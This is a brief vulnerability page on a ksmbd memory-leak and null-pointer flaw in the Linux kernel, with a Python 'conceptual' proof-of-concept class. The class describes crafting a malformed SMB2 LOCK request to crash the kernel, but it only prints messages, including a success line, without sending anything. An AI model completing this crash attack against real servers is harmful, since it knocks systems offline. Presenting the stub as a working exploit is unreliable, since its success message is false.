CVE-2026-31477: Linux内核ksmbd内存泄漏及空指针解引用漏洞

from impacket import smb3, smb2struct # This is a conceptual PoC to trigger the lock condition # It sends a malformed LOCK request to ksmbd class KSMBDPoC: def __init__(self, target): self.target = target def trigger_vuln(self): # Connect to the target SMB server try: # Setup connection (simplified) # Construct SMB2 LOCK request with specific flags to hit error paths # For example, triggering the rollback path or vfs_lock_file error print(f"[*] Sending malformed LOCK request to {self.target}") # Actual packet crafting would involve setting specific lock flags # to force the vfs_lock_file to fail or hit the rollback logic. # Result: Kernel crash or memory leak. print("[+] Exploit triggered (Check kernel logs)") except Exception as e: print(f"[-] Error: {e}") # Usage: poc = KSMBDPoC("<target_ip>"); poc.trigger_vuln()